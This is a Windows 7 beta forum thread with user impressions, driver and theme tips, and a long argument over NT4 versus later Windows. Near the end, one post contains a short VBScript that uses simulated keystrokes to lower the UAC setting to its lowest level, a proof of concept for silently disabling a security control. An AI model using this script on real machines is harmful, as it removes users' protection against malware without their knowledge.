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Windows 7

BaconZombie

Anybody tried out Windows 7 yet?
Is it better or worse {if possible} then vista?

We upgrading all the DC's in work to 2K8 so I'll need to use vista or 7 to administrate then, and that the only reason I'm installing it {only in a VM at that}.

*/Mods: All TechNet Partners have access to the OS prior to the public release.

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miralize

Epic Tissue wrote: »

Is there any way to add Ubuntu to that Windows bootloader?

stop hijacking this thread. Windows 7 is running great on this PC of mine. No problems in the 3 weeks of use

Epic Tissue

miralize wrote: »

stop hijacking this thread

Read two posts up, someone else brought up the subject of the grub file being overwritten

AlmightyCushion

dazftw wrote: »

Ok stupid question here.. How in gods name do you make the theme on it black? Like in the 1st few screen of it in this thread... I really cant do it and its bothering me as id usually have it done in 2 seconds... Its dark.. but its not black.. :mad:

Right click on the desktop > Personalise > Custom Colour. Then just change it to black. That's the colour I have it, very cool.

Dartz

If he wants it black, he'll have to increase the colour intensity too, and deepen the black under the colour mixer. It's what I have and it looks the mutts-nutts

Overheal

AlmightyCushion wrote: »

That was the first image I mounted with it.

64-bit? might have been the issue. And an unsigned driver iirc.

mukki

first post from windows 7

god its fast
drivers for everything was either on the dvd or windows update
love the new colours, vista was always too dark
UAC propts are rare and faster

cormie

Where are you folks getting your windows 7 from and do you all have legit licensed copies? I just ordered a laptop for my friend and I'll be setting it up. I was going to use XP but if Windows 7 has good reports I might go with that. There was no option of Windows 7 when I was buying it. Will your copies all expire in a few months? Did you all get it as part of the 260,000 copies that were released or something?

mukki

cormie wrote: »

Where are you folks getting your windows 7 from and do you all have legit licensed copies? I just ordered a laptop for my friend and I'll be setting it up. I was going to use XP but if Windows 7 has good reports I might go with that. There was no option of Windows 7 when I was buying it. Will your copies all expire in a few months? Did you all get it as part of the 260,000 copies that were released or something?

mine will expire, so no use for what you want

cormie

Thanks, think I'll just stick with XP so

Ponster

cormie wrote: »

Where are you folks getting your windows 7 from and do you all have legit licensed copies? I just ordered a laptop for my friend and I'll be setting it up. I was going to use XP but if Windows 7 has good reports I might go with that. There was no option of Windows 7 when I was buying it. Will your copies all expire in a few months? Did you all get it as part of the 260,000 copies that were released or something?

Some got it from P2P and others from the beta program. The beta will expire in August so you'll have to wait until at least Xmas for a legit version.

Did I read though that should you buy Vista a certain time before the release of '7' that you can get a pretty cheap upgrade?

Zascar

Guys can someone please tell me the difference between 32 and 64 bit? What advantages are there in going for 64, and are there disadvantages?

When I initially installed 7 I loved it but was plagued with crashes so I ahve not even booted it in a few weeks. Might give it another go though.

Should I try 64 this time instead of 32, will there be a difference?
Thanks

Ponster

Zascar wrote: »

Guys can someone please tell me the difference between 32 and 64 bit? Thanks

You need to have a 64bit processor in your PC to run the 64bit version.

The 64-bit version takes advantage of the extra 'features' that the 64bit architecture gives you.

[Deleted User]

The only real benefit is that it will give you access to more than 3GB of RAM if you have more. There are other advantages but they probably wouldn't be that noticeable just yet.

Slutmonkey57b

ScumLord wrote: »

Bar netgears usb network adapter or US robotics.

there's not much more I can do with it now it won't go online.

I had that problem with a netgear WG111 but it's easily fixed - get the Vista compatible driver, DON'T install it, and manually update the drivers from Device Manager by pointing at the directory you download it to. Bish bash bosh, problem solved. Let Windows manage the connection.

Slutmonkey57b

watty wrote: »

NT4.0 Enterprise Edition Server from more than 10 years ago can see 4Gbyte. Though mine only used 24M of it's available 128M to run Mail Server, File & Printer Server, NTTP, Web and SQL servers :rolleyes:

Cons:
No DirectX
No USB
No Plug & Play
No 137GB+ ATA drive support
No DMA access
No Advanced Power Management
No SATA
This

etc etc etc etc etc.

Any OS that abandons support for 90% of devices, technologies and futureproofing, and focuses on a narrow gauge of specific features & applications will always be less memory hungry and snappier. Hell, you can get linux running off a floppy if you're desperate and don't expect to actually use anything.

2000/XP/Vista/7 are consumer OS's. Of course they're not as light on their feet as NT4.

Geff

Been using this now for about 3 days with no problems. Went from TinyXP Beast Edition to this on a secondary partition and its flawless. Incredibly responsive and stable. All my drivers were loaded instantly without downloading (except ethernet). My Nvidia drivers didn't even need a reboot. I can access my old partition easily and grab all my movies and music in seconds. Media Center is fun to mess around in. I love the new taskbar and pinning stuff to it.

Taskbar is much easier to manipulate and customise. Network speeds seem to be overall faster than using Firefox or Flashget in XP (downTHEMall instantly hits 760k my limit, same goes for Flashget and also Speedtest.net). Overall very nice for a beta OS. Won't be going to Vista. Going straight onto this.

Dartz

Now she's running golden....

Still the odd glitch with My AV reporting it's status incorrectly. But otherwise, that's it. It's running well now. I've been using it day to day for the last week or so and it's given no problems.....

dazftw

AlmightyCushion wrote: »

Right click on the desktop > Personalise > Custom Colour. Then just change it to black. That's the colour I have it, very cool.

Custom color isn't highlighted for me oddly enough? Any ideas?

AlmightyCushion

dazftw wrote: »

Custom color isn't highlighted for me oddly enough? Any ideas?

Sorry it's called window colour. In there use the colour mixer to get it exactly how you like it.

watty

Slutmonkey57b wrote: »

Cons:
No DirectX
No USB
No Plug & Play
No 137GB+ ATA drive support
No DMA access
No Advanced Power Management
No SATA
This

etc etc etc etc etc.

MS stopped supporting it to force Businesses to move to XP
No DirectX: Wrong. Almost every SP had a new DX version
No USB: Wrong. In the SP7 that MS stopped to aid XP. 3rd party USB stack perfect
No Plug & Play: Wrong. Virtually indentical to XP
No 137GB+ ATA drive support: Wrong. Only a question of driver.
No DMA access: Wrong
No Advanced Power Management: Wrong
No SATA: Not supported as it didn't exist. Guess what. USB3.0 doesn't work on XP

NT4.0 Era
4G+ RAM yes.
Clustering yes
32 CPUs yes
64bit version yes
Terminal Server/ Remote desktop yes

All OSes only plug and play for the devices they already have drivers for.

You miss the point. Win2K, XP, Server 2003, Vista and Server 2008 are
NT 5.0, 5.1, 5.2, 6.0 (Vista) and 6.1
MS has consistently concentrated on GUI and eyecandy sacrificing real stability, performance, innovation (where is WinFS?) etc on each release.

NT4.0 in turn is less stable and design flaws compared to NT3.51.

Teams too big. Too many working on OS that are from Win9.x background. Lack of quality design. Emphasis on desktop performance and style rather than service, application and File System performance.

As an OS it's now a joke under the bonnet.

Any OS that abandons support for 90% of devices, technologies and futureproofing, and focuses on a narrow gauge of specific features & applications will always be less memory hungry and snappier. Hell, you can get linux running off a floppy if you're desperate and don't expect to actually use anything.

2000/XP/Vista/7 are consumer OS's. Of course they're not as light on their feet as NT4.

Rubbish. Absolutely untrue. Win 98 / ME was the last consumer only OS. Win2K, XP and Vista are supposted to be for Home and Business.

Windows CE was in fact touted as a Consumer OS. (Windows Mobile is the phone Edition). It's crazier.

Where is the Business OS?
Mostly the needs of Buisness are the same. Stuff such Media Player, Internet Explorer, CD Burner, Photo Preview etc should not be part of OS but applications.

All components should be COMPONENTS.

Slutmonkey57b

watty wrote: »

MS stopped supporting it to force Businesses to move to XP

And because exploits were appearing that required it to be rearchitected to such an extent that everything coded with NT4 in mind wouldn't have worked anyway. Endlessly releasing free service packs to one OS isn't a viable business model. They released six SP's for it. I think it had its time.

No DirectX: Wrong. Almost every SP had a new DX version

I'm Right. NT had no DirectX support beyond version 3. The first useful version of DirectX, and the first one to get industry support was Dx6. NT might have had a version of DX, but for all the functionality it had, it might have well not bothered. See windows 1 & 2 for comparisons to pre-V.6 DirectX. Nothing released that was actually coded for DirectX would ever run on NT4 because the versions of DX required weren't available.

No USB: Wrong. In the SP7 that MS stopped to aid XP. 3rd party USB stack perfect

1: "planned" support that was never coded and released is not a supported feature.
2: Any OS that requires 3rd party tools to get the job done does not get credit for doing the job.
I'm right - NT4 did not support USB, just like 32 bit XP does not support 4 gigs of ram.

No Plug & Play: Wrong. Virtually indentical to XP

Right. Plug and play requires pre-installed drivers. No pre-installed drivers = no Plug and Play support. One of the largest causes of bloat in modern windows is the number of pre-installed drivers, which came about largely from the endless moaning of people complaining that Plug and Play never worked because there were no drivers in NT4/Win95/98. If it doesn't work, it doesn't get credit for it.

No 137GB+ ATA drive support: Wrong. Only a question of driver.

This doesn't constitute "supported feature" by any stretch of the imagination unless you're the sort of person that thinks recompiling a kernal for each machine you run is reasonable. Right.

No DMA access: Wrong

Right. DMA was only introduced in SP2, and even then was buggy until 2 service packs later. Fixing it 3 years later doesn't constitute "supported feature".

No Advanced Power Management: Wrong

Right. Microsoft disagree with you here. This guy also seems to be doing an awful lot of work for a "supported" feature. You can't argue the "Win 7/XP is just a service pack of a previous version and doesn't count" point without also conceding that anything released as a service pack for NT4 is nothing more than cramming a fix into a broken or out of date system.

No SATA: Not supported as it didn't exist. Guess what. USB3.0 doesn't work on XP

Could have released it in SP6, when it did exist - your other points rely entirely on "features" or bugfixes that were actually released in service packs, so there's no going back here.

NT4.0 Era
4G+ RAM yes.
Clustering yes
32 CPUs yes
64bit version yes
Terminal Server/ Remote desktop yes

And UNIX neckbeards would have been giving you the slow "welcome to the party" handclap for it at the time.

Teams too big. Too many working on OS that are from Win9.x background. Lack of quality design. Emphasis on desktop performance and style rather than service, application and File System performance.

As an OS it's now a joke under the bonnet.

As I'm not a coder on the OS team, I can't comment or verify any of that.

I will say that the single greatest benefit I've ever seen in terms of improving performance in XP is to put a startup script in that raises the explorer.exe priority to "above normal". Why this isn't the default is utterly beyond me.

Where is the Business OS?
Mostly the needs of Buisness are the same. Stuff such Media Player, Internet Explorer, CD Burner, Photo Preview etc should not be part of OS but applications.

The business OS is Server 2003/2008. The apps you point out above are entirely core parts of the OS for modern use, as they're the things people buy computers in order to do. They don't buy single desktop-formfactor computers to run mail servers on, and the mail servers of today deal with different workloads and expectations to the all-text mail servers of 1996.

watty

You miss the point. Of course NT4.0 was old and they needed a new version for various reasons. My argument is that they concentrated on the wrong things and with each version since NT3.1 added the right things increasingly badly.
By 1999 I was teaching people how to install Linux and customise it. At the time Linux shortcomings compared to Windows:

No consistency or reliability of GUI
Poor file system compared with NTFS (servers)
No security model other than that of UNIX. Real UNIX developers would have loved the VMS token based model of NT/Win2K/XP. The Windows vulnerbilities are nothing to do with how good or bad the Design model is but sloppy application programming in most cases.
No SW RAID. NT Server SW RAID1 and RAID5 was and still is on Latest NT6.1 (Server 2008) excellent.
No Clustering without custom Server (I built a cluster in 1999 based on two standard AST pentium Pro servers with two dumb external shelves of SCSI drives and it was practically Bomb proof).
Poor graphics and sound driver support
Almost non-existant WiFi support. I've only seen WiFi work consistently on the end of 2008 releases of Linux.
No 64bit support on Linux (only some expensive custom Unix)

In 1993 when NT was a full OS with NTFS, Linux was only a beta Kernel.

Before 1999 you could install MS services for Unix and an X server on NT and run Linux applications natively with perfect cut/paste and each X-server client window in a Windows Window on a single explorer desktop. That still works on XP and is still poor to run Windows apps on a Linux desktop. Why? because Windows apps assume a certain functionality from the desktop. The basic Linux concept is that X is just a Graphics Terminal provider. If a Linux app really assumes a Desktop like a Windows app does, then if it's for Gnome it won't work on KDE and vice-versa (And possibly not on Explorer Desktop either!).

I'm not arguing NT4.0 is good, or we should go back to it. I'm just arguing that each MS iteration of NT since 3.5 seems more clueless and a bigger missed oppertunity.

Having the loads of drivers does not add OS bloat. They just add disk space. Even Vista only installs drivers for things that are connected (on all versions of NT there is no easy way to uninstall a driver if the device is unplugged and the driver vanishes out of Device Manager. That does add bloat. You have to manually edit the registry).

There is no doubt that Windows 7 (probably really NT 6.2) is hugely better than Vista. However there is none of the *REAL* features that Windows actually needed and in some cases promised for "next windows" 10 years ago.

MS has made Rollouts and Administration harder on each new release.
The Policy editors are a pile of ****** and smoke and mirrors with poor access and flexibility to the ACL/Token based system.

There where many compelling reasons to upgrade to XP from NT.40 and even more to switch from Win9x and ME.

Win7 is a fixed version of Vista. But the pair are such bloated FrankenOSes that Mark Shuttle of Ubuntu is looking forward to MS killing XP on Netbooks and making Win7 the only option.

I've used/installed/proogrammed for UNIX/Linux since 1986.
I've planned and managed rollouts and installs of Windows since NT3.51 with WFWG3.11 peer to peer only about a year before. NT4.0, Win2K and XP rollouts up to 450 workstations with automated install and centralised administration.
I've done Client/Server with Win3.0 and DR Multidos servers.
Embedded Linux programming and install (even to driver and Kernel hacking) on x86 and ARM SoC and single board computers with and without GUI
Apple OS installs and network configurations since 1998. Apple with 1/20th to 1/10th of market are now making as much profit as MS.

Intel and increased Internet usage has created a Market for end user Linux. It's much better than 10 years ago and better than Win7/Vista. But better than NT4.0/Win2K/XP? I think not. Unless you have a server in the corner running nothing but Apache & MySQL (which work on my Win2K advanced server).
I ran an NT 4.0 server at home in from 1996 to 2007 with SW RAID. It only had to be rebooted to replace a drive or because the ESB was missing. It only got updated to Win2K Advanced (and a newer box with x4 RAM) because we wanted WSUS for filtered updates to our 6 laptops and 4 PCs. Due to use of firewalls, training and occasional patches we have never had any malware on our own home/business PCs since adopting MS Windows in 1992.

Most Malware is lack of physical firewall and poor user interaction. Most relies on social engineering. Win7 does nothing to prevent that. Real firewalls and training prevents it.

Between 1999 and 2003 at one office I had an NT4.0 server with SQL +IIS connected to public internet via a port 80 reverse proxy on the Firewall to protect all other ports. The Firewall was a dedicated "hardened" NT4.0 workstation with two network cards. In all that time one DOS attack solved by a single patch to IIS. No other IIS or SQL patches applied. All un-needed IIS protocols/ISAPI handlers un-installed.

Security is 99% expertise and 1% the OS version and patches.

If Windows 8 does not offer real advantages with a smaller footprint MS are dead. Linux and OSX are gaining traction due to the sheer incompetence of MS.

The massive upgrade cycle of 8088 ->286 -> 386 ->486 ->Pentium ->P3 ->P4 is gone. The RAM upgrade of 128k ->1M -> 16M ->128M -> 512M ->2G is topped out.

The market is Laptops, out selling desktops by 4:1 in some markets. Users want cheaper, lighter, more battery life. MS design has been predicated on the HW for next OS being x4 faster with x4 more RAM. With Vista they where caught out.

Many new laptops are less powerful than my 7 year old P4 1.8MHz for real applications.

watty

Slutmonkey57b wrote: »

1) And because exploits were appearing that required it to be rearchitected to such an extent that everything coded with NT4 in mind wouldn't have worked anyway. Endlessly releasing free service packs to one OS isn't a viable business model. They released six SP's for it. I think it had its time.

2) I've ever seen in terms of improving performance in XP is to put a startup script in that raises the explorer.exe priority to "above normal". Why this isn't the default is utterly beyond me.

3) The business OS is Server 2003/2008. They don't buy single desktop-formfactor computers to run mail servers on, and the mail servers of today deal with different workloads and expectations to the all-text mail servers of 1996.

1)
Applications written even for NT3.5 still work on Win2K/XP/Vista/Win7. Applications written for win9x may or may not work.

Security has not been significantly changed at all since NT4.0 Changes are in the GUI and policies. The actual OS Architecture is the same. Six SP due to time and other reasons. MS has changed to a Hotfix model of Windows Update hence far fewer SP today. A big problem for those with no Internet or Dialup.

2)You realise that damages the performance of your workstation? BTW with out changing a few explorer registry settings you REALLY don't want to open a folder with several thousand images in it. If you want to be able to move & delete AV media quickly (or at all) you need another registry change to stop files getting "locked" to Media Player processes.

Explorer is so unreliable that the "auto reload " (shell or explorer) registry entry is now =1 Sometime in past it was 0. Every time you see desktop flicker and icons redraw that is explorer crashing and restarting. You REALLY don't want to increase process priority for the GUI ever, and not for the least reliable application on most peoples' computer. If they have fixed this my next new PC/Laptop might be Win7 and not XP, OSX or Linux.

3) Server 2003 is server version of XP and Server 2008 is server version of Vista. Both unbelievable bloat. I'd only use Linux now for a new Server unless some "locked in" tech needed Windows.

[Deleted User]

Seems someone's found a way around Windows 7's UAC:

http://www.tgdaily.com/content/view/41263/108/

But would this not require that the "hack" be elevated?

watty

Probably you just need someone to open an email and keep clicking on warning dialogs till they go away.

"Was there no error message?" asks the programmer
"no" says user
"Er.. no little box came up in front of your form?"
"Oh those... They come all the time. I just hit enter and they go away"

I had to make the Error message Message box automatically send me an email with users logon name, time, list of tasks and state of the program.

Most users just "click on things that get in the way". The whole concept of UAC as protection is broken.

Why have I removed malware, stupid ad spamming tool bars and other assorted junk from PCs that in many cases have up to date AV?

Capt'n Midnight

Slutmonkey57b wrote:

Fixing it 3 years later doesn't constitute "supported feature".

There were out of memory problems on NT4 file sharing until SP3

some of the holes in XP were found to be present in NT4, and probably NT3.5 if anyone had looked

Capt'n Midnight

Karsini wrote: »

Seems someone's found a way around Windows 7's UAC:

http://www.tgdaily.com/content/view/41263/108/

But would this not require that the "hack" be elevated?

yeah would have thought so. But so easy to get end users to "run me"

[php]Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu'
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet'
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)'
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)'
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes'
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")[/php]

ScumLord

Slutmonkey57b wrote: »

I had that problem with a netgear WG111 but it's easily fixed - get the Vista compatible driver, DON'T install it, and manually update the drivers from Device Manager by pointing at the directory you download it to. Bish bash bosh, problem solved. Let Windows manage the connection.

OK, I've been trying this over and over and can't get it to work. I think I might have a slightly different model to yours, mine is the WG111T which apears to have a different set of drivers.

Are you running 32 or 64bit? I'm on 64bit.

I only have the option of one all purpose driver for XP and Vista. I download it but it's a exe file I have to install it to even get at files but the files are put into the X86 folder. I tried the have disk way but it says the drivers are not 64bit compatible.

FrankGrimes

So, I jumped the gun a bit and installed Win 7 Beta 32-bit as an upgrade on my HTPC - worst case I can rollback to Vista, right?

I've loved it so far but the only downside is my Hauppage PVR 500 MCE doesn't seem to work. It picks them up in Device Manager and attempts to update the drivers say 'latest driver already installed' but MCE gives an error and won't setup the tuners due to hardware issues.

Anyone know if it will be possible to get a driver to sort this out or another workaround? Really don't want to have to rollback if at all possible.

Dartz

You've probably tried running the drivers in Vista compatibility mode by now. Unfortunately, being a beta, these things are going to happen. Upgrade installs are messy though... I tried one and had problems with a desktop memory leak. A native reinstall is much cleaner, and much better behaved.

I don't think it's possible to Roll back your install though. Only way to get back to Vista would be a reinstall from scratch, which would probably kill your files?

Can I ask why you didn't run it up in a seperate partition? I literally didnt have the spare space for an extra partition, but that's usually the done thing...